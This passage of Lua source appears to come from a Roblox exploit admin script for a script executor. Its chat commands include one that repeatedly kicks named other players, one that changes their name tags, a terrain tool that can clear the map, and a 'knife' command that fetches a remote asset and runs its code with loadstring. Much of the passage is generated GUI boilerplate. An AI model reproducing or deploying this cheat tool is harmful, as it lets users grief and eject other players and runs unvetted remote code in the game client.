P.Character:FindFirstChild('HumanoidRootPart') then SP.Position = P.Character.HumanoidRootPart.Position end until not game:GetService("Players"):FindFirstChild(P.Name) end) P.Character.HumanoidRootPart.Anchored = true end end end end) end spawn(function() if game:GetService("Players")[name] == game:GetService("Players").LocalPlayer then fastwait(10) else fastwait(5) end game:GetService("Players")[name].CharacterAdded:Connect(function() fastwait() KICK(game:GetService("Players")[name]) end) KICK(game:GetService("Players")[name]) end) for i = 1,20 do zin.CFrame = zin.CFrame*CFrame.Angles(0,(-math.pi/3)*turns/200,0) fastwait() end while turns > 0 do zin.CFrame = zin.CFrame*CFrame.Angles(0,(-math.pi/3)*turns/200,0) turns = turns - 5 fastwait() end fastwait(1) zin.Name = "GoneZinnia" local go = Instance.new("BodyVelocity",zin) go.Velocity = zin.CFrame.lookVector * 100 go.MaxForce = Vector3.new(1000000,1000000,1000000) zin.Anchored = false fastwait(20) if song and not workspace:FindFirstChild("CuteZinnia") then song:Destroy() song = nil end end) end addcmd('zinnia', 'asdf for moon',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do zinniaKick(gPlayers[v].Name) end end) addcmd('rainbowname', 'color spam their name tag',{'rname'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if not FindTable(rainbowT, _players[v].Name) then table.insert(rainbowT, _players[v].Name) if FindTable(SPC, args[1]) then Notify('Gave ' ..args[1].. ' rainbow name') else Notify('Gave player(s) rainbow name') end end end end) addcmd('unrainbowname', 'removes their colorful name',{'unrname'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if FindTable(rainbowT, _players[v].Name) then table.remove(rainbowT, GetInTable(rainbowT, _players[v].Name)) _players[v].Neutral = true if FindTable(SPC, args[1]) then Notify('Disabled rainbow name for ' ..args[1]) else Notify('Disabled rainbow name for player(s)') end end end end) addcmd('terrain', 'gives you terrain tools',{'tt'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else --Terrain Script --Edge#3467/IoIman616 for _, child in pairs( gPlayers.LocalPlayer.PlayerGui:GetChildren()) do if child.Name == "MaterialGui" then child:Destroy() end end function sandbox(var,func) local env = getfenv(func) local newenv = setmetatable({},{ __index = function(self,k) if k=="script" then return var else return env[k] end end, }) setfenv(func,newenv) return func end cors = {} mas = Instance.new("Model",game:GetService("Lighting")) HopperBin0 = Instance.new("HopperBin") HopperBin0.Name = "Terrain Build" HopperBin0.Parent = mas for i,v in pairs(mas:GetChildren()) do v.Parent = game:GetService("Players").LocalPlayer.Backpack pcall(function() v:MakeJoints() end) end mas:Destroy() for i,v in pairs(cors) do spawn(function() pcall(v) end) end wait(0.01) function sandbox(var,func) local env = getfenv(func) local newenv = setmetatable({},{ __index = function(self,k) if k=="script" then return var else return env[k] end end, }) setfenv(func,newenv) return func end cors = {} mas = Instance.new("Model",game:GetService("Lighting")) ScreenGui0 = Instance.new("ScreenGui") ImageLabel1 = Instance.new("ImageLabel") ImageButton2 = Instance.new("ImageButton") Frame3 = Instance.new("Frame") NumberValue4 = Instance.new("NumberValue") ImageButton5 = Instance.new("ImageButton") Frame6 = Instance.new("Frame") NumberValue7 = Instance.new("NumberValue") ImageButton8 = Instance.new("ImageButton") Frame9 = Instance.new("Frame") NumberValue10 = Instance.new("NumberValue") ImageButton11 = Instance.new("ImageButton") Frame12 = Instance.new("Frame") NumberValue13 = Instance.new("NumberValue") ImageButton14 = Instance.new("ImageButton") Frame15 = Instance.new("Frame") NumberValue16 = Instance.new("NumberValue") ImageButton17 = Instance.new("ImageButton") Frame18 = Instance.new("Frame") NumberValue19 = Instance.new("NumberValue") ImageButton20 = Instance.new("ImageButton") Frame21 = Instance.new("Frame") NumberValue22 = Instance.new("NumberValue") ImageButton23 = Instance.new("ImageButton") Frame24 = Instance.new("Frame") NumberValue25 = Instance.new("NumberValue") ImageButton26 = Instance.new("ImageButton") Frame27 = Instance.new("Frame") NumberValue28 = Instance.new("NumberValue") ImageButton29 = Instance.new("ImageButton") Frame30 = Instance.new("Frame") NumberValue31 = Instance.new("NumberValue") ImageButton32 = Instance.new("ImageButton") Frame33 = Instance.new("Frame") NumberValue34 = Instance.new("NumberValue") ImageButton35 = Instance.new("ImageButton") Frame36 = Instance.new("Frame") NumberValue37 = Instance.new("NumberValue") ImageButton38 = Instance.new("ImageButton") Frame39 = Instance.new("Frame") NumberValue40 = Instance.new("NumberValue") ImageButton41 = Instance.new("ImageButton") Frame42 = Instance.new("Frame") NumberValue43 = Instance.new("NumberValue") ImageButton44 = Instance.new("ImageButton") Frame45 = Instance.new("Frame") NumberValue46 = Instance.new("NumberValue") ImageButton47 = Instance.new("ImageButton") Frame48 = Instance.new("Frame") NumberValue49 = Instance.new("NumberValue") ImageButton50 = Instance.new("ImageButton") Frame51 = Instance.new("Frame") NumberValue52 = Instance.new("NumberValue") ImageButton53 = Instance.new("ImageButton") Frame54 = Instance.new("Frame") ScreenGui0.Name = "MaterialGui" ScreenGui0.Parent = mas ImageLabel1.Name = "MaterialMenu" ImageLabel1.Parent = ScreenGui0 ImageLabel1.Transparency = 1 ImageLabel1.Size = UDim2.new(0, 100, 0, 450) ImageLabel1.Position = UDim2.new(0, 0, 1, -550) ImageLabel1.BackgroundTransparency = 1 ImageLabel1.ZIndex = 2 ImageLabel1.Image = "rbxasset://textures/ui/MaterialMenu.png" ImageButton2.Name = "Grass" ImageButton2.Parent = ImageLabel1 ImageButton2.Transparency = 1 ImageButton2.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton2.Position = UDim2.new(0.0700000003, 0, 0.0599999987, 0) ImageButton2.BackgroundTransparency = 1 ImageButton2.ZIndex = 4 ImageButton2.Image = "http://www.roblox.com/asset/?id=56563112" Frame3.Name = "Selection" Frame3.Parent = ImageButton2 Frame3.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame3.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame3.BackgroundColor3 = Color3.new(1, 1, 1) Frame3.BorderSizePixel = 0 Frame3.ZIndex = 3 NumberValue4.Name = "num" NumberValue4.Parent = ImageButton2 NumberValue4.Value = 1 ImageButton5.Name = "Sand" ImageButton5.Parent = ImageLabel1 ImageButton5.Transparency = 1 ImageButton5.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton5.Position = UDim2.new(0.524545431, 0, 0.0599999987, 0) ImageButton5.BackgroundTransparency = 1 ImageButton5.ZIndex = 4 ImageButton5.Image = "http://www.roblox.com/asset/?id=62356652" Frame6.Name = "Selection" Frame6.Parent = ImageButton5 Frame6.Transparency = 1 Frame6.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame6.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame6.BackgroundColor3 = Color3.new(1, 1, 1) Frame6.BackgroundTransparency = 1 Frame6.BorderSizePixel = 0 Frame6.ZIndex = 3 NumberValue7.Name = "num" NumberValue7.Parent = ImageButton5 NumberValue7.Value = 2 ImageButton8.Name = "Brick" ImageButton8.Parent = ImageLabel1 ImageButton8.Transparency = 1 ImageButton8.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton8.Position = UDim2.new(0.0700000003, 0, 0.161010101, 0) ImageButton8.BackgroundTransparency = 1 ImageButton8.ZIndex = 4 ImageButton8.Image = "http://www.roblox.com/asset/?id=65961537" Frame9.Name = "Selection" Frame9.Parent = ImageButton8 Frame9.Transparency = 1 Frame9.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame9.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame9.BackgroundColor3 = Color3.new(1, 1, 1) Frame9.BackgroundTransparency = 1 Frame9.BorderSizePixel = 0 Frame9.ZIndex = 3 NumberValue10.Name = "num" NumberValue10.Parent = ImageButton8 NumberValue10.Value = 3 ImageButton11.Name = "Granite" ImageButton11.Parent = ImageLabel1 ImageButton11.Transparency = 1 ImageButton11.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton11.Position = UDim2.new(0.524545431, 0, 0.161010101, 0) ImageButton11.BackgroundTransparency = 1 ImageButton11.ZIndex = 4 ImageButton11.Image = "http://www.roblox.com/asset/?id=67532153" Frame12.Name = "Selection" Frame12.Parent = ImageButton11 Frame12.Transparency = 1 Frame12.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame12.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame12.BackgroundColor3 = Color3.new(1, 1, 1) Frame12.BackgroundTransparency = 1 Frame12.BorderSizePixel = 0 Frame12.ZIndex = 3 NumberValue13.Name = "num" NumberValue13.Parent = ImageButton11 NumberValue13.Value = 4 ImageButton14.Name = "Asphalt" ImageButton14.Parent = ImageLabel1 ImageButton14.Transparency = 1 ImageButton14.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton14.Position = UDim2.new(0.0700000003, 0, 0.2620202, 0) ImageButton14.BackgroundTransparency = 1 ImageButton14.ZIndex = 4 ImageButton14.Image = "http://www.roblox.com/asset/?id=67532038" Frame15.Name = "Selection" Frame15.Parent = ImageButton14 Frame15.Transparency = 1 Frame15.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame15.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame15.BackgroundColor3 = Color3.new(1, 1, 1) Frame15.BackgroundTransparency = 1 Frame15.BorderSizePixel = 0 Frame15.ZIndex = 3 NumberValue16.Name = "num" NumberValue16.Parent = ImageButton14 NumberValue16.Value = 5 ImageButton17.Name = "Iron" ImageButton17.Parent = ImageLabel1 ImageButton17.Transparency = 1 ImageButton17.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton17.Position = UDim2.new(0.524545431, 0, 0.2620202, 0) ImageButton17.BackgroundTransparency = 1 ImageButton17.ZIndex = 4 ImageButton17.Image = "http://www.roblox.com/asset/?id=67532093" Frame18.Name = "Selection" Frame18.Parent = ImageButton17 Frame18.Transparency = 1 Frame18.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame18.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame18.BackgroundColor3 = Color3.new(1, 1, 1) Frame18.BackgroundTransparency = 1 Frame18.BorderSizePixel = 0 Frame18.ZIndex = 3 NumberValue19.Name = "num" NumberValue19.Parent = ImageButton17 NumberValue19.Value = 6 ImageButton20.Name = "Aluminum" ImageButton20.Parent = ImageLabel1 ImageButton20.Transparency = 1 ImageButton20.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton20.Position = UDim2.new(0.0700000003, 0, 0.363030314, 0) ImageButton20.BackgroundTransparency = 1 ImageButton20.ZIndex = 4 ImageButton20.Image = "http://www.roblox.com/asset/?id=67531995" Frame21.Name = "Selection" Frame21.Parent = ImageButton20 Frame21.Transparency = 1 Frame21.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame21.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame21.BackgroundColor3 = Color3.new(1, 1, 1) Frame21.BackgroundTransparency = 1 Frame21.BorderSizePixel = 0 Frame21.ZIndex = 3 NumberValue22.Name = "num" NumberValue22.Parent = ImageButton20 NumberValue22.Value = 7 ImageButton23.Name = "Gold" ImageButton23.Parent = ImageLabel1 ImageButton23.Transparency = 1 ImageButton23.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton23.Position = UDim2.new(0.524545431, 0, 0.363030314, 0) ImageButton23.BackgroundTransparency = 1 ImageButton23.ZIndex = 4 ImageButton23.Image = "http://www.roblox.com/asset/?id=67532118" Frame24.Name = "Selection" Frame24.Parent = ImageButton23 Frame24.Transparency = 1 Frame24.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame24.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame24.BackgroundColor3 = Color3.new(1, 1, 1) Frame24.BackgroundTransparency = 1 Frame24.BorderSizePixel = 0 Frame24.ZIndex = 3 NumberValue25.Name = "num" NumberValue25.Parent = ImageButton23 NumberValue25.Value = 8 ImageButton26.Name = "Plank" ImageButton26.Parent = ImageLabel1 ImageButton26.Transparency = 1 ImageButton26.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton26.Position = UDim2.new(0.0700000003, 0, 0.464040399, 0) ImageButton26.BackgroundTransparency = 1 ImageButton26.ZIndex = 4 ImageButton26.Image = "http://www.roblox.com/asset/?id=67532015" Frame27.Name = "Selection" Frame27.Parent = ImageButton26 Frame27.Transparency = 1 Frame27.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame27.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame27.BackgroundColor3 = Color3.new(1, 1, 1) Frame27.BackgroundTransparency = 1 Frame27.BorderSizePixel = 0 Frame27.ZIndex = 3 NumberValue28.Name = "num" NumberValue28.Parent = ImageButton26 NumberValue28.Value = 9 ImageButton29.Name = "Log" ImageButton29.Parent = ImageLabel1 ImageButton29.Transparency = 1 ImageButton29.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton29.Position = UDim2.new(0.524545431, 0, 0.464040399, 0) ImageButton29.BackgroundTransparency = 1 ImageButton29.ZIndex = 4 ImageButton29.Image = "http://www.roblox.com/asset/?id=67532051" Frame30.Name = "Selection" Frame30.Parent = ImageButton29 Frame30.Transparency = 1 Frame30.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame30.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame30.BackgroundColor3 = Color3.new(1, 1, 1) Frame30.BackgroundTransparency = 1 Frame30.BorderSizePixel = 0 Frame30.ZIndex = 3 NumberValue31.Name = "num" NumberValue31.Parent = ImageButton29 NumberValue31.Value = 10 ImageButton32.Name = "Gravel" ImageButton32.Parent = ImageLabel1 ImageButton32.Transparency = 1 ImageButton32.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton32.Position = UDim2.new(0.0700000003, 0, 0.565050483, 0) ImageButton32.BackgroundTransparency = 1 ImageButton32.ZIndex = 4 ImageButton32.Image = "http://www.roblox.com/asset/?id=67532206" Frame33.Name = "Selection" Frame33.Parent = ImageButton32 Frame33.Transparency = 1 Frame33.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame33.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame33.BackgroundColor3 = Color3.new(1, 1, 1) Frame33.BackgroundTransparency = 1 Frame33.BorderSizePixel = 0 Frame33.ZIndex = 3 NumberValue34.Name = "num" NumberValue34.Parent = ImageButton32 NumberValue34.Value = 11 ImageButton35.Name = "Cinder" ImageButton35.Parent = ImageLabel1 ImageButton35.Transparency = 1 ImageButton35.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton35.Position = UDim2.new(0.524545431, 0, 0.565050483, 0) ImageButton35.BackgroundTransparency = 1 ImageButton35.ZIndex = 4 ImageButton35.Image = "http://www.roblox.com/asset/?id=67532103" Frame36.Name = "Selection" Frame36.Parent = ImageButton35 Frame36.Transparency = 1 Frame36.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame36.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame36.BackgroundColor3 = Color3.new(1, 1, 1) Frame36.BackgroundTransparency = 1 Frame36.BorderSizePixel = 0 Frame36.ZIndex = 3 NumberValue37.Name = "num" NumberValue37.Parent = ImageButton35 NumberValue37.Value = 12 ImageButton38.Name = "Stone" ImageButton38.Parent = ImageLabel1 ImageButton38.Transparency = 1 ImageButton38.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton38.Position = UDim2.new(0.0700000003, 0, 0.666060627, 0) ImageButton38.BackgroundTransparency = 1 ImageButton38.ZIndex = 4 ImageButton38.Image = "http://www.roblox.com/asset/?id=67531804" Frame39.Name = "Selection" Frame39.Parent = ImageButton38 Frame39.Transparency = 1 Frame39.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame39.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame39.BackgroundColor3 = Color3.new(1, 1, 1) Frame39.BackgroundTransparency = 1 Frame39.BorderSizePixel = 0 Frame39.ZIndex = 3 NumberValue40.Name = "num" NumberValue40.Parent = ImageButton38 NumberValue40.Value = 13 ImageButton41.Name = "Cement" ImageButton41.Parent = ImageLabel1 ImageButton41.Transparency = 1 ImageButton41.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton41.Position = UDim2.new(0.524545431, 0, 0.666060627, 0) ImageButton41.BackgroundTransparency = 1 ImageButton41.ZIndex = 4 ImageButton41.Image = "http://www.roblox.com/asset/?id=67532059" Frame42.Name = "Selection" Frame42.Parent = ImageButton41 Frame42.Transparency = 1 Frame42.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame42.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame42.BackgroundColor3 = Color3.new(1, 1, 1) Frame42.BackgroundTransparency = 1 Frame42.BorderSizePixel = 0 Frame42.ZIndex = 3 NumberValue43.Name = "num" NumberValue43.Parent = ImageButton41 NumberValue43.Value = 14 ImageButton44.Name = "Red Plastic" ImageButton44.Parent = ImageLabel1 ImageButton44.Transparency = 1 ImageButton44.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton44.Position = UDim2.new(0.0700000003, 0, 0.767070711, 0) ImageButton44.BackgroundTransparency = 1 ImageButton44.ZIndex = 4 ImageButton44.Image = "http://www.roblox.com/asset/?id=67531848" Frame45.Name = "Selection" Frame45.Parent = ImageButton44 Frame45.Transparency = 1 Frame45.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame45.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame45.BackgroundColor3 = Color3.new(1, 1, 1) Frame45.BackgroundTransparency = 1 Frame45.BorderSizePixel = 0 Frame45.ZIndex = 3 NumberValue46.Name = "num" NumberValue46.Parent = ImageButton44 NumberValue46.Value = 15 ImageButton47.Name = "Blue Plastic" ImageButton47.Parent = ImageLabel1 ImageButton47.Transparency = 1 ImageButton47.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton47.Position = UDim2.new(0.524545431, 0, 0.767070711, 0) ImageButton47.BackgroundTransparency = 1 ImageButton47.ZIndex = 4 ImageButton47.Image = "http://www.roblox.com/asset/?id=67531924" Frame48.Name = "Selection" Frame48.Parent = ImageButton47 Frame48.Transparency = 1 Frame48.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame48.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame48.BackgroundColor3 = Color3.new(1, 1, 1) Frame48.BackgroundTransparency = 1 Frame48.BorderSizePixel = 0 Frame48.ZIndex = 3 NumberValue49.Name = "num" NumberValue49.Parent = ImageButton47 NumberValue49.Value = 16 ImageButton50.Name = "Water" ImageButton50.Parent = ImageLabel1 ImageButton50.Transparency = 1 ImageButton50.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton50.Position = UDim2.new(0.0700000003, 0, 0.867999971, 0) ImageButton50.BackgroundTransparency = 1 ImageButton50.ZIndex = 4 ImageButton50.Image = "https://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid=82717697" Frame51.Name = "Selection" Frame51.Parent = ImageButton50 Frame51.Transparency = 1 Frame51.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame51.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame51.BackgroundColor3 = Color3.new(1, 1, 1) Frame51.BackgroundTransparency = 1 Frame51.BorderSizePixel = 0 Frame51.ZIndex = 3 NumberValue52.Name = "num" NumberValue52.Parent = ImageButton50 NumberValue52.Value = 17 ImageButton53.Name = "Dig" ImageButton53.Parent = ImageLabel1 ImageButton53.Transparency = 1 ImageButton53.Size = UDim2.new(0.400000006, 0, 0.088888891, 0) ImageButton53.Position = UDim2.new(0.524999976, 0, 0.867999971, 0) ImageButton53.BackgroundTransparency = 1 ImageButton53.ZIndex = 4 ImageButton53.Image = "http://www.roblox.com/asset/?id=7814201" Frame54.Name = "Selection" Frame54.Parent = ImageButton53 Frame54.Transparency = 1 Frame54.Size = UDim2.new(1.10000002, 0, 1.10000002, 0) Frame54.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0) Frame54.BackgroundColor3 = Color3.new(1, 1, 1) Frame54.BackgroundTransparency = 1 Frame54.BorderSizePixel = 0 Frame54.ZIndex = 3 for i,v in pairs(mas:GetChildren()) do v.Parent = gPlayers.LocalPlayer.PlayerGui pcall(function() v:MakeJoints() end) end mas:Destroy() for i,v in pairs(cors) do spawn(function() pcall(v) end) end wait(0.01) gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu.Visible = false material = 1 local Terrain = workspace.Terrain local CC = workspace.CurrentCamera local SelB = Instance.new("SelectionBox") SelB.Color = BrickColor.new("Bright green") local SelP = Instance.new("Part") SelP.Anchored = true SelP.formFactor = Enum.FormFactor.Custom HopperBin0.Selected:connect(function(M) SelB.Parent = gPlayers.LocalPlayer.PlayerGui gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu.Visible = true SelB.Adornee = nil local ClickState = "None" local ClickType = 1 local TerrainClick = 1 local P1 = nil M.KeyDown:connect(function(K) if K == "q" then ClickType = 1 elseif K == "e" then ClickType = 2 elseif K == "z" then TerrainClick = 0 elseif K == "x" then TerrainClick = 1 elseif K == "c" then TerrainClick = 2 elseif K == "v" then TerrainClick = 3 elseif K == "b" then TerrainClick = 4 end end) M.Button1Down:connect(function() if not M.Target then return end local Hit = M.Hit local cellPos if ClickType == 1 then cellPos = Terrain:WorldToCellPreferEmpty(Vector3.new(Hit.x, Hit.y, Hit.z)) else cellPos = Terrain:WorldToCellPreferSolid(Vector3.new(Hit.x, Hit.y, Hit.z)) end if ClickState == "None" then ClickState = "Click1" P1 = cellPos end end) M.Button1Up:connect(function() if not M.Target then return end local Hit = M.Hit local cellPos if ClickType == 1 then cellPos = Terrain:WorldToCellPreferEmpty(Vector3.new(Hit.x, Hit.y, Hit.z)) else cellPos = Terrain:WorldToCellPreferSolid(Vector3.new(Hit.x, Hit.y, Hit.z)) end if ClickState == "Click1" then ClickState = "None" local MinX = math.min(P1.x,cellPos.x) local MaxX = math.max(P1.x,cellPos.x) local MinY = math.min(P1.y,cellPos.y) local MaxY = math.max(P1.y,cellPos.y) local MinZ = math.min(P1.z,cellPos.z) local MaxZ = math.max(P1.z,cellPos.z) for y=MinY,MaxY do for x=MinX,MaxX do for z=MinZ,MaxZ do Terrain:SetCell(x, y, z, material, 0, 0) end end wait() end SelB.Adornee = nil end end) M.Move:connect(function() if not M.Target then return end local Hit = M.Hit local cellPos if ClickType == 1 then cellPos = Terrain:WorldToCellPreferEmpty(Vector3.new(Hit.x, Hit.y, Hit.z)) else cellPos = Terrain:WorldToCellPreferSolid(Vector3.new(Hit.x, Hit.y, Hit.z)) end if ClickState == "Click1" then SelB.Adornee = SelP local W1 = Terrain:CellCenterToWorld(P1.x,P1.y,P1.z) local W2 = Terrain:CellCenterToWorld(cellPos.x,cellPos.y,cellPos.z) local Size = W1-W2 Size = Vector3.new(math.abs(Size.x),math.abs(Size.y),math.abs(Size.z))+Vector3.new(4,4,4) local Pos = (W1+W2)/2 SelP.Size = Size SelP.CFrame = CFrame.new(Pos) end end) end) HopperBin0.Deselected:connect(function() SelB.Parent = nil SelB.Adornee = nil gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu.Visible = false end) game:GetService('RunService').Stepped:connect(function() if gPlayers.LocalPlayer.PlayerGui:FindFirstChild("MaterialGui") then for _, child in pairs( gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu:GetChildren()) do if child:FindFirstChild("num") and material ~= child.num.Value then child.Selection.BackgroundTransparency = 1 end end end end) for _, child in pairs( gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu:GetChildren()) do local enterCon = child.MouseButton1Click:connect(function() if child.ClassName == "ImageButton" and child:FindFirstChild("num") then material = child.num.Value if child:FindFirstChild("Selection") then child.Selection.BackgroundTransparency = 0 end end end) end local clr = gPlayers.LocalPlayer.PlayerGui.MaterialGui.MaterialMenu.Dig.MouseButton1Click:connect(function() workspace.Terrain:Clear() end) function sandbox(var,func) local env = getfenv(func) local newenv = setmetatable({},{ __index = function(self,k) if k=="script" then return var else return env[k] end end, }) setfenv(func,newenv) return func end cors = {} mas = Instance.new("Model",game:GetService("Lighting")) HopperBin0 = Instance.new("HopperBin") HopperBin0.Name = "Terrain Delete" HopperBin0.Parent = mas for i,v in pairs(mas:GetChildren()) do v.Parent = game:GetService("Players").LocalPlayer.Backpack pcall(function() v:MakeJoints() end) end mas:Destroy() for i,v in pairs(cors) do spawn(function() pcall(v) end) end function onClick(mouse) p = gPlayers.LocalPlayer if (p == nil) then return end if (p.Character == nil) then return end if (mouse.Hit.p - p.Character.HumanoidRootPart.Position).magnitude > 500 then return end c = workspace.Terrain local cellPos = c:WorldToCellPreferSolid(Vector3.new(mouse.Hit.x, mouse.Hit.y, mouse.Hit.z)) local x = cellPos.x local y = cellPos.y local z = cellPos.z c:SetCell(x, y, z, 0, 0, 0) end function onSelect(mouse) mouse.Button1Down:connect(function () onClick(mouse) end) end HopperBin0.Selected:connect(onSelect) end end) addcmd('knife', 'tm knife',{}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else if not game.CoreGui:FindFirstChild('CorePart') then local data = game:GetObjects("rbxassetid://01318477872")[1] local script = data.LocalScript local player = gPlayers.LocalPlayer if not player:FindFirstChild("TMDATA") then script.Parent.TMDATA:Clone().Parent = player end if not game.ReplicatedStorage:FindFirstChild("GameInProgress") then script.Parent.GameInProgress:Clone().Parent = game.ReplicatedStorage end if game.CoreGui:FindFirstChild("CorePart") then game.CoreGui.CorePart:Remove() end if not game.ReplicatedStorage:FindFirstChild('Drone') then script.Parent.Drone:Clone().Parent = game.ReplicatedStorage end local knife = script.Parent["Knife"]:Clone() local gun = script.Parent["Gun"]:Clone() local fastgun = script.Parent["Fast Gun"]:Clone() local lasergun = script.Parent["Laser Gun"]:Clone() script.Parent.CorePart:Clone().Parent = game.CoreGui local newKnife = knife:Clone() newKnife.Parent = player.Backpack _G.tool = newKnife local barActive = false local activeOptions = {} function createDDown(callback,but,...) if barActive then for i,v in pairs(activeOptions) do v:Destroy() end activeOptions = {} barActive = false return else barActive = true end local slots = {...} local base = but for i,v in pairs(slots) do local newOption = base:Clone() newOption.ZIndex = 5 newOption.Name = "Option "..tostring(i) newOption.Parent = base.Parent table.insert(activeOptions,newOption) newOption.Position = UDim2.new(but.Position.X.Scale, but.Position.X.Offset, but.Position.Y.Scale, but.Position.Y.Offset + (#activeOptions * but.Size.Y.Offset)) newOption.Text = slots[i] newOption.MouseButton1Down:connect(function() but.Text = slots[i] callback(slots[i]) for i,v in pairs(activeOptions) do v:Destroy() end activeOptions = {} barActive = false end) end end local butA = game.CoreGui.CorePart.Frame.ability butA.MouseButton1Down:connect(function() createDDown(function(sel) gPlayers.LocalPlayer.TMDATA.Ability.Value = sel -- Rushed scripting, sorry for not being neat! end,butA,"Normal","Laser Knife","Boom Blade","MLG Money","Midas Touch","HOT! Knife","Ghost Knife","Tesla Knife","Quickscoper","Rainbow Laser","Spider Knife","Warp Knife","Brainwasher", "Bolting Knife") end) local butG = game.CoreGui.CorePart.Frame.gamemode butG.MouseButton1Down:connect(function() createDDown(function(sel) game.ReplicatedStorage.GameInProgress.Mode.Value = sel end,butG,"Classic","Cold Killer") end) local butM = game.CoreGui.CorePart.Frame.mode butM.MouseButton1Down:connect(function() createDDown(function(sel) _G.knifemode = sel end,butM,"PlayersOnly","Players+Npcs") end) _G.Scripters = {} function _G.loadScripts(obj,runall) for i,v in pairs(obj:GetDescendants()) do if v:IsA("LocalScript") and (not v.Disabled or runall) then table.insert(_G.Scripters,v) local i = #_G.Scripters local loadfunc = loadstring("local script = _G.Scripters["..i.."]\n"..v.Source) spawn(loadfunc) print("LOADED",v:GetFullName()) end end end player.CharacterAdded:Connect(function() newKnife = knife:Clone() newKnife.Parent = player.Backpack _G.loadScripts(newKnife) end) _G.knifemode = "PlayersOnly" _G.loadScripts(newKnife) --_G.loadScripts(gun) --_G.loadScripts(fastgun) --_G.loadScripts(lasergun) end end end) addcmd('devuzi', 'op af',{'uzi'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else wait(0.25); _clear=function() local c={char;bag;gui;}; for i=1,#c do local c=c[i]:children(); for i=1,#c do if(c[i].Name==name)then c[i].Parent=nil; end; end; end; local n=name..user.Name; local c=workspace:children(); for i=1,#c do if(c[i].Name==n)then c[i].Parent=nil; end; end; end; _valid_key=function(object,key) return object[key],key; end; _new=function(class) return function(props) if(type(list_base_props)=='table')then for i,v in next,list_base_props do if(props[i]==nil)then props[i]=v; end; end; end; local object=class; if(type(class)=='string')then object=Instance.new(class:sub(1,1):upper()..class:sub(2)); end; local parent=props[1]; props[1]=nil; for i,v in next,props do local load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2)); if(not load)then load,res,key=pcall(_valid_key,object,i); end; if(key)then t=type(res); s=tostring(res); if(t=='userdata'and s=='Signal '..key)then if(type(v)=='table')then for i=1,#v do res:connect(v[i]); end; else res:connect(v); end; else object[key]=v; end; end; end; if(parent)then object.Parent=parent; end; return object; end; end; _RGB=function(r,g,b) return Color3.new(r/255,g/255,b/255); end; _copy=function(o) local def=o.archivable; o.archivable=true; local c=o:clone(); o.archivable=def; return c; end; _hum=function(char) local hum=char:findFirstChild'Humanoid'; if(not hum or hum.className~='Humanoid')then local c=char:children(); for i=1,#c do if(c[i].className=='Humanoid')then return c[i]; end; end; else return hum; end; end; 